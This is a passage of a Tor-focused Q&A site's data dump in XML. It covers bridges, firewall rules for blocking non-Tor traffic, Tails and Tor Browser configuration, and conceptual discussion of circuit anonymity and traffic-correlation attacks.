  <row Id="7499" PostTypeId="2" ParentId="7498" CreationDate="2015-08-21T15:28:08.540" Score="1" Body="&lt;p&gt;Java is not JavaScript.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Java_%28programming_language%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;JavaScript can be probably dangerous because it can interfere (?) with your computer way more than the regular browsing without it. So servers could gain more information about you.&lt;/p&gt;&#xA;&lt;p&gt;Ask yourself: How could ISP do that?&lt;/p&gt;&#xA;&lt;p&gt;Servers will know more. You are connected to the internet thanks to your ISP.&lt;/p&gt;&#xA;" OwnerUserId="8184" LastEditorUserId="14997" LastEditDate="2022-08-08T18:01:29.820" LastActivityDate="2022-08-08T18:01:29.820" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7502" PostTypeId="1" CreationDate="2015-08-22T12:54:06.110" Score="3" ViewCount="3773" Body="&lt;p&gt;What is the simplest way to identify and block all non-tor network traffic on GNU/Linux?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the most effective way would be some kind of iptables rule to distinguish between tor and non-tor traffic and block the latter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know that one possibility would be to run the tor binary as a dedicated user, and block the network traffic of all other users, but this wouldn't work for the Tor Browser use case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am not talking about automatically tunneling all network traffic through tor.&lt;/p&gt;&#xA;" OwnerUserId="8191" LastActivityDate="2022-04-23T22:09:28.410" Title="How to block all non-tor network traffic on GNU/Linux?" Tags="|linux|network-configuration|iptables|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7503" PostTypeId="1" AcceptedAnswerId="7560" CreationDate="2015-08-22T13:41:45.630" Score="3" ViewCount="135" Body="&lt;p&gt;I have been running a relay for a couple of years. Now I see that with my connection bandwidth of 1 Mbit it makes more sense to run a bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could just convert my relay into a bridge. However, I am concerned that such a bridge will not be accessible from places where Tor is blocked because its IP address might have been blacklisted as running a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm or disprove this concern from their own experience or knowledge?&lt;/p&gt;&#xA;" OwnerUserId="4967" LastEditorUserId="4967" LastEditDate="2015-08-22T15:44:25.293" LastActivityDate="2016-06-26T05:15:40.533" Title="Converting an existing Tor relay into a bridge, does it make sense?" Tags="|bridge|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7504" PostTypeId="1" AcceptedAnswerId="7508" CreationDate="2015-08-22T17:41:56.510" Score="2" ViewCount="90" Body="&lt;p&gt;When I email Tor for bridges, I get three.  I'm only going to use one, so why do I get three?&lt;/p&gt;&#xA;" OwnerUserId="8147" LastActivityDate="2015-08-22T23:06:33.927" Title="Why Do I Get More Than One Bridge?" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7505" PostTypeId="1" CreationDate="2015-08-22T20:31:30.747" Score="1" ViewCount="1204" Body="&lt;p&gt;I would like to know, if there is any way to use a proxy at exit of TOR? I have read a lot of manuals, how to set up exit nodes for a specific country, but that is not what I need. I need to visit a site with a transparent proxy server, but it is not safe enough just to set up the proxy in regular browser. I need to access the site trough the Tor, then into the specific proxy server, and through that server to the targeted website. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="8193" LastActivityDate="2015-08-25T01:28:54.540" Title="How to use a specific proxy on EXIT node?" Tags="|address|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7508" PostTypeId="2" ParentId="7504" CreationDate="2015-08-22T23:06:33.927" Score="4" Body="&lt;p&gt;Basically convenience and/or choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; You've been using a particular bridge for a while - the first bridge of the three - but your ISP has now started to block it.&#xA;You can try the second bridge without needing to send a further request email. In the best case, a small time saving. In the worst case, you're in a country that blocks Gmail/Yahoo, so even sending/receiving the mail is a pain. Or the Tor mail server is down for maintenance, and you have to wait an extra 20 minutes, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; You've just received your email with the three bridges, but the first (and second) doesn't work because it's blocked by your ISP.&#xA;You can try the second (or third) bridge without sending a further request email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; If you have three bridges, you can choose the most suitable one to use.&#xA;By performing an IP look-up, you can work out where the bridges are physically located (i.e. in which country).&#xA;Perhaps connecting to a bridge in one country would look less suspicious to your ISP than one in another country.&#xA;Again, you could continue to request individual new bridges via mail until you found one in a location you liked, but that just smacks of inefficiency.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-08-22T23:06:33.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7509" PostTypeId="2" ParentId="7502" CreationDate="2015-08-23T08:13:58.037" Score="3" Body="&lt;p&gt;You are right, this can be achieved by using &lt;code&gt;iptables&lt;/code&gt;. This is described in Tor &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/BlockingNonTorTraffic&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;. So, as a &lt;code&gt;root&lt;/code&gt;, type:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -F OUTPUT&#xA;iptables -A OUTPUT -j ACCEPT -m owner --uid-owner debian-tor&#xA;iptables -A OUTPUT -j ACCEPT -o lo #used to allow traffic over the loopback device and is completely safe.&#xA;iptables -A OUTPUT -j ACCEPT -p udp --dport 123 #allow outbound NTP connections that are not routed over tor&#xA;iptables -P OUTPUT DROP&#xA;iptables -L -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The last command will display the number of packets that have been allowed through per rule or else dropped.&lt;/p&gt;&#xA;&lt;p&gt;The above will work without any modification for Debian/Ubuntu (&lt;em&gt;username&lt;/em&gt; &lt;code&gt;debian-tor&lt;/code&gt;). This might be just &lt;code&gt;tor&lt;/code&gt; for other non-debian distros.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="-1" LastEditDate="2022-04-23T22:09:28.410" LastActivityDate="2022-04-23T22:09:28.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7510" PostTypeId="2" ParentId="6705" CreationDate="2015-08-23T08:42:06.173" Score="1" Body="&lt;p&gt;By adding the following to extension-overrides.js in your TBB profile&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pref(&quot;extensions.torlauncher.start_tor&quot;, false);&#xA;pref(&quot;extensions.torlauncher.prompt_at_startup&quot;, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;about:tor will report that something's not working, but that's not really accurate in this scenario.&lt;/p&gt;&#xA;" OwnerUserId="8198" LastActivityDate="2015-08-23T08:42:06.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7512" PostTypeId="1" CreationDate="2015-08-23T12:07:30.810" Score="2" ViewCount="1366" Body="&lt;p&gt;I want to support Tails users.&#xA;My program is written in python, and I need to download something over Tor using python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running python as the &lt;code&gt;amnesia&lt;/code&gt; user, the following code does not work:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;import urllib2 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;urllib2.urlopen(&quot;&lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/&lt;/a&gt;&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should work on any system, but on Tails, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;urllib2.URLError: &amp;lt;urlopen error [Errno 111] Connection refused&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I load http/s pages in python on Tails as the &lt;code&gt;amnesia&lt;/code&gt; user?&lt;/p&gt;&#xA;" OwnerUserId="8199" LastActivityDate="2015-11-20T18:08:31.900" Title="On Tails, using python urllib2" Tags="|tails|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7513" PostTypeId="2" ParentId="4125" CreationDate="2015-08-23T12:43:55.307" Score="5" Body="&lt;p&gt;I successfully configured Tor Browser 5.0.1 as default browser in Windows 8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that you cannot open Firefox and Tor Browser in parallel when using this solution.&lt;/em&gt; Probably both browsers use the same marker for the -osint flag, so that you have to close one browser completely before starting the other one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Don't check default browser.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First disable &quot;Always check if Tor Browser is your default browser&quot;, because the dialog would still show up on every start, even if you follow this instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Create registry entries for Tor Browser&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to enable Tor Browser to be shown in the &quot;Set your default programs&quot; window. Therefore create a file &lt;em&gt;torbrowser.reg&lt;/em&gt; with following content. Replace &lt;em&gt;C:\Users\MyUser\AppData\Local\Tor Browser&lt;/em&gt; by your installation path (back slashes must be escaped with back slashes).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00&#xA;&#xA;; Infamous capabilities:&#xA;&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\Tor Browser\Capabilities]&#xA;&quot;ApplicationDescription&quot;=&quot;Tor Browser - Anonymity Online&quot;&#xA;&quot;ApplicationIcon&quot;=&quot;C:\\Users\\MyUser\\AppData\\Local\\Tor Browser\\Browser\\firefox.exe,0&quot;&#xA;&quot;ApplicationName&quot;=&quot;Tor Browser&quot;&#xA;&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\Tor Browser\Capabilities\FileAssociations]&#xA;&quot;.htm&quot;=&quot;TorBrowserURL&quot;&#xA;&quot;.html&quot;=&quot;TorBrowserURL&quot;&#xA;&quot;.shtml&quot;=&quot;TorBrowserURL&quot;&#xA;&quot;.xht&quot;=&quot;TorBrowserURL&quot;&#xA;&quot;.xhtml&quot;=&quot;TorBrowserURL&quot;&#xA;&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\Tor Browser\Capabilities\URLAssociations]&#xA;&quot;ftp&quot;=&quot;TorBrowserURL&quot;&#xA;&quot;http&quot;=&quot;TorBrowserURL&quot;&#xA;&quot;https&quot;=&quot;TorBrowserURL&quot;&#xA;&#xA;; Register to Default Programs&#xA;&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications]&#xA;&quot;Tor Browser&quot;=&quot;Software\\Tor Browser\\Capabilities&quot;&#xA;&#xA;; TorBrowserURL HANDLER:&#xA;&#xA;[HKEY_LOCAL_MACHINE\Software\Classes\TorBrowserURL]&#xA;@=&quot;Tor Browser Document&quot;&#xA;&quot;FriendlyTypeName&quot;=&quot;Tor Browser Document&quot;&#xA;&#xA;[HKEY_LOCAL_MACHINE\Software\Classes\TorBrowserURL\shell]&#xA;&#xA;[HKEY_LOCAL_MACHINE\Software\Classes\TorBrowserURL\shell\open]&#xA;&#xA;[HKEY_LOCAL_MACHINE\Software\Classes\TorBrowserURL\shell\open\command]&#xA;@=&quot;\&quot;C:\\Users\\MyUser\\AppData\\Local\\Tor Browser\\Browser\\firefox.exe\&quot; -osint -url \&quot;%1\&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and double click the file, to add registry entries for Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Set Tor Browser as default browser&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Windows Control Panel and open the Default Programs option. Select Tor Browser and click to set it as default program for all associated formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4. Update your bookmarks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try the above, you'll see the &quot;Tor Browser is already running&quot; message, when other applications try to open a website while the browser is already open. To prevent that you have to always start Tor Browser with the &lt;code&gt;-osint&lt;/code&gt; option. For example my shortcut in the task bar calls &lt;code&gt;&quot;C:\Users\MyUser\AppData\Local\Tor Browser\Browser\firefox.exe&quot; -osint&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5. Profit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You successfully configured Tor Browser as your default browser.&lt;/p&gt;&#xA;" OwnerUserId="8200" LastEditorUserId="8200" LastEditDate="2015-08-28T18:43:58.430" LastActivityDate="2015-08-28T18:43:58.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7514" PostTypeId="1" AcceptedAnswerId="11848" CreationDate="2015-08-23T18:22:23.043" Score="3" ViewCount="2402" Body="&lt;p&gt;I am building a P2P C++ application that uses tor as a socks proxy to connect to the internet. This P2P app will only connect to other users running the same application, so all the communication between this app and the wild world would be through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very new to Tor, but the first thing I think of would be to configure Tor to create a hidden service (with an .onion url) and that would be the IP for other users to connect to? Is this procedure is safe enough or should I try other methods? Could I connect to a port of that specific .onion url to avoid http requests (myonionurlf2e9k51a.onion:8751)?&lt;/p&gt;&#xA;" OwnerUserId="8201" LastEditorUserId="9291" LastEditDate="2016-05-15T13:51:45.973" LastActivityDate="2016-07-15T02:21:34.860" Title="Designing P2P application over Tor" Tags="|configuration|onion-services|anonymity|onion-routing|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7515" PostTypeId="2" ParentId="7512" CreationDate="2015-08-23T20:14:23.877" Score="2" Body="&lt;p&gt;The Tails firewall will prevent you from doing this. Only applications that have been explicitly whitelisted are allowed to communicate with the outside world. This is by design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a read of the &lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_enforcement/Network_filter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Network Filter&lt;/a&gt; page on the Tails site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to whitelist your application/script to allow it to connect to a foreign IP address. To do this you'll need to edit the file &lt;code&gt;/etc/ferm/ferm.conf&lt;/code&gt;. The file should be commented well enough to allow you to work out the config you'll need to add. (In theory... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the OnionShare code mentioned by the OP, they're effectively doing the same thing using a different method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;ferm&lt;/em&gt; is a tool that allows firewall rules to be written and stored in a separate config file.&#xA;If you look at the contents of a &lt;em&gt;ferm&lt;/em&gt; file, you'll see the syntax is a simplified version of the options you would pass to the &lt;code&gt;iptables&lt;/code&gt; command, which is what they use in the OnionShare code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details on how an &lt;code&gt;iptables&lt;/code&gt; command translates to a ferm statement, see &lt;a href=&quot;http://ferm.foo-projects.org/download/2.2/ferm.html#structure_of_a_firewall_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;iptables&lt;/code&gt; isn't available to the &lt;code&gt;amnesia&lt;/code&gt; user, which is why their script has to be run as root. (There are probably other reasons, too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their code simply spawns &lt;code&gt;iptables&lt;/code&gt; as a separate process. For something more Pythonic, you could have a look at the &lt;a href=&quot;https://python-iptables.readthedocs.org/en/latest/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;python-iptables&lt;/code&gt;&lt;/a&gt; package. (Note, I haven't used this myself. You'd have to ensure the code in this package is &quot;safe&quot; from the perspective on anonimity... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, opening holes in firewalls is dangerous. You'd have to ensure these holes couldn't be accidentally left open if, for example, your script died unexpectedly. (So if your script did spawn a separate child process, like the OnionShare code does, you would need to ensure that that child dies with its parent. &lt;strong&gt;The OnionShare code doesn't seem to do this - if the main script dies after line 238 but before 267, the firewall is left open.&lt;/strong&gt; To protect against this you'd want the kernel to kill the child, as described in &lt;a href=&quot;https://stackoverflow.com/questions/19447603/how-to-kill-a-python-child-process-created-with-subprocess-check-output-when-t/19448096#19448096&quot;&gt;this&lt;/a&gt; thread.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2015-08-24T15:31:44.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7517" PostTypeId="2" ParentId="7492" CreationDate="2015-08-24T02:48:56.437" Score="1" Body="&lt;p&gt;It is still possible to use FTP sites in TBB 5.0.1 I've tried it and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tor FAQ &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#FTP&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#FTP&lt;/a&gt; the simple answer to&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I use my browser for FTP with Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you able to access any other FTP sites using TBB or are all the sites you've tried giving the same error messages? I ask because although some of the sites I tried gave me very reliable positive results a number of others often timed out with an error message.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastActivityDate="2015-08-24T02:48:56.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7518" PostTypeId="2" ParentId="1992" CreationDate="2015-08-24T13:16:54.633" Score="1" Body="&lt;p&gt;From my understanding the color coding is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/MDTkz.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 20000 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNoDO.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 10000 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/3bTY1.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 5000 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/yezdY.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 3000 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/JBOUZ.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 2000 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDnk2.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 1000 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/tUsNH.png&quot; width=&quot;10&quot; height=&quot;10&quot; /&gt; is for relays which have more than 0 KB/s bandwidth.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe there are more colors for relays which have more than 50000 KB/s bandwidth. Currently there is no such relay. So I can't verify this.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-08-24T13:16:54.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7519" PostTypeId="1" CreationDate="2015-08-24T13:28:35.753" Score="1" ViewCount="676" Body="&lt;p&gt;I know that statistical analysis of the data entering and leaving the TOR network can be used to de-anonymise users given enough time. &lt;a href=&quot;http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.ohmygodel.com/publications/usersrouted-ccs13.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long in practice would a 'passive adversary' have to observe the network before he could identify you? Are we talking minutes? days? weeks? And by 'adversary' i don't mean a hacker with a low boredom threshold, i mean e.g. a group with decent resources to throw at the problem. Say e.g. the FBI as a worst case in terms of a strong adversary with knowhow, expertise and resouces. And what kind of things make somebody more easy to 'cull from the herd' as a TOR user?&lt;/p&gt;&#xA;" OwnerUserId="8205" LastActivityDate="2015-08-26T16:05:56.520" Title="TOR traffic correlation: how quickly can you be de-anonymized?" Tags="|attacks|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7526" PostTypeId="2" ParentId="6884" CreationDate="2015-08-25T06:20:38.423" Score="1" Body="&lt;p&gt;A &lt;a href=&quot;https://askubuntu.com/q/449824/236&quot;&gt;similar question was also asked&lt;/a&gt; at AskUbuntu. The recommendation there was to run the following commands. They remove the AppArmor profile for Vidalia and restart Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ln -s /etc/apparmor.d/usr.bin.vidalia /etc/apparmor.d/disable/&#xA;sudo apparmor_parser -R /etc/apparmor.d/usr.bin.vidalia&#xA;sudo /etc/init.d/tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you start Vidalia now, it should work.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-08-25T06:20:38.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7530" PostTypeId="2" ParentId="7519" CreationDate="2015-08-26T16:05:56.520" Score="1" Body="&lt;p&gt;The best case as reported by the leaked documents, where the NSA was able to bust someone from Tor,  involved exploiting the Tor browser bundle with '&lt;a href=&quot;http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity&quot; rel=&quot;nofollow&quot;&gt;Quantum insert&lt;/a&gt;' (Man-on-the-side-attack) and &lt;a href=&quot;https://www.documentcloud.org/documents/785152-166819124-mitm-google.html&quot; rel=&quot;nofollow&quot;&gt;FoxAcid&lt;/a&gt; (A 'server farm' that serves malware). Apparently, as Jacob Applebaum mentioned in one of his &lt;a href=&quot;https://www.youtube.com/watch?v=CJNxbpbHA-I&quot; rel=&quot;nofollow&quot;&gt;talk&lt;/a&gt;, this took them 8 months to bust this single person! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the take home message is that there's no indication 'they' can break the Tor protocol or do traffic analysis on the Tor network. And the `passive adversary' can not afford to surveil everybody all the time, instead they have to be &lt;em&gt;really&lt;/em&gt; selective and work towards it for a long time. That's good!&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-08-26T16:05:56.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7531" PostTypeId="1" AcceptedAnswerId="7532" CreationDate="2015-08-25T11:03:18.087" Score="7" ViewCount="873" Body="&lt;p&gt;It is documented &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#WhichTornodeknowswhat&quot;&gt;which node knows what&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if the nodes in the circuit know their own relative position. For normal three relay paths, they certainly can infer their position: the exit knows -since it's connecting outside- the middle knows since it's connecting two known nodes, the entry knows since it's connecting a (unknown) client with a known node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, were you to build a 4-hop circuit, would the two middle ones know whether they're in position &lt;code&gt;#2&lt;/code&gt; or &lt;code&gt;#3&lt;/code&gt;? My guess is that they would, specially since guards are only used as guards and exits are only used as exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that, it follows you'd need at least 6 hops for some nodes not to know their position, but how is data framed? Can a node infer how many nodes are ahead of it, just from the encrypted payload size?&lt;/p&gt;&#xA;" OwnerDisplayName="John" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T19:58:52.660" LastActivityDate="2019-05-13T17:17:00.277" Title="Can Tor nodes know their position in the circuit?" Tags="|exit-relays|guard-node|node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7532" PostTypeId="2" ParentId="7531" CreationDate="2015-08-25T11:32:00.103" Score="4" Body="&lt;p&gt;I will add that these statements are within the confines of the protocol.  As you mentioned in your question/comment, a single node could use outside resources to determine entry and exit points.  However, the number of hops between the two cannot be determined.  The middle nodes only know that they're talking to other nodes within the Tor network, without any kind of distinction.  They can't assume that the previous or next node will be the exit or entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you blind folded 4 people and linked them between two doors, but you don't tell them that there are 4 people total.  The people holding onto the door handles would know that they're on the ends of the chain.  The two middle people know that they're in the middle, but cannot determine how many people came before/after them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When building a circuit each node is told to establish a link to another node in the network.  Since the Tor protocol doesn't attach information that says, &quot;Hey by the way there are 3 more hops&quot;, these middle nodes only know that a link exists to the next hop.  The &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;Tor design paper&lt;/a&gt; explains the control channel and the types of control messages it can send:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The relay commands are: &lt;em&gt;relay data&lt;/em&gt; (for data flowing down the stream),&#xA;  &lt;em&gt;relay begin&lt;/em&gt; (to open a stream), &lt;em&gt;relay end&lt;/em&gt; (to close a stream cleanly),&#xA;  &lt;em&gt;relay teardown&lt;/em&gt; (to close a broken stream), &lt;em&gt;relay connected&lt;/em&gt; (to notify&#xA;  the OP that a relay begin has succeeded), &lt;strong&gt;relay extend&lt;/strong&gt; and &lt;em&gt;relay&#xA;  extended&lt;/em&gt; (to extend the circuit by a hop, and to acknowledge), &lt;em&gt;relay&#xA;  truncate&lt;/em&gt; and &lt;em&gt;relay truncated&lt;/em&gt; (to tear down only part of the circuit,&#xA;  and to acknowledge), &lt;em&gt;relay sendme&lt;/em&gt; (used for congestion control), and&#xA;  &lt;em&gt;relay drop&lt;/em&gt; (used to implement long-range dummies).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's the relay extend messages that allow the Tor protocol to tell a node to extend the circuit without giving away how many hops have already been used in the circuit.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Nodes can't infer how many nodes are ahead of it based on payload size because encryption doesn't add data except padding.  The padding would be added to the data prior to encryption.  Each encryption layer doesn't change the payload size.  Tor uses their own headers, but again the header size won't change from hop to hop.&lt;/p&gt;&#xA;" OwnerUserId="7963" OwnerDisplayName="raz" LastActivityDate="2015-08-25T13:05:50.940" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7533" PostTypeId="2" ParentId="7531" CreationDate="2015-08-25T12:42:53.013" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm wondering if the nodes in the circuit know their own relative&#xA;  position.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The simple answer is no. Otherwise your anonymity is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question requires you to understand &lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Routing&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In an onion network, messages are encapsulated in layers of&#xA;  encryption, analogous to layers of the vegetable onion. The encrypted&#xA;  data is transmitted through a series of network nodes called onion&#xA;  routers, each of which &quot;peels&quot; away a single layer, uncovering the&#xA;  data's next destination. When the final layer is decrypted, the&#xA;  message arrives at its destination. The sender remains anonymous&#xA;  because each intermediary &lt;strong&gt;knows only the location of the immediately&lt;/strong&gt;&#xA;  &lt;strong&gt;preceding and following nodes&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From the Tor project, you can read &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;the same&lt;/a&gt; thing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The circuit is extended one hop at a time, and &lt;strong&gt;each relay along the&lt;/strong&gt;&#xA;  &lt;strong&gt;way knows only which relay gave it data and which relay it is giving&lt;/strong&gt;&#xA;  &lt;strong&gt;data to&lt;/strong&gt;. No individual relay ever knows the complete path that a data&#xA;  packet has taken. The client negotiates a separate set of encryption&#xA;  keys for each hop along the circuit to 